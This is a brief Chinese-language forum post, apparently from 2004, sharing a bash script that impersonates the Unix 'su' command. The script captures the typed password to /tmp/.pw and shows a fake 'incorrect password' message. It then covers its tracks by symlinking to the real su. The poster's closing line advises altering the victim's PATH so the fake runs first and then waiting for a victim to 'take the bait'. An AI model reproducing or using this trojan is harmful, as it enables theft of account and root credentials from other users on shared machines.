|

楼主 |
发表于 2004-7-14 15:30:00
|
显示全部楼层
#!/bin/bash
echo -n " assword:";
stty -echo
read pass
stty sane
echo $pass > /tmp/.pw
echo ""
cp /tmp/.bash_profile ~/
sleep 0.7
echo "su: incorrect password"
rm /tmp/su
ln -sf /bin/su /tmp/su
修改一下PATH,让他先执行/tmp/su而不是/bin/su,然后就等着大鱼上钩了 |
|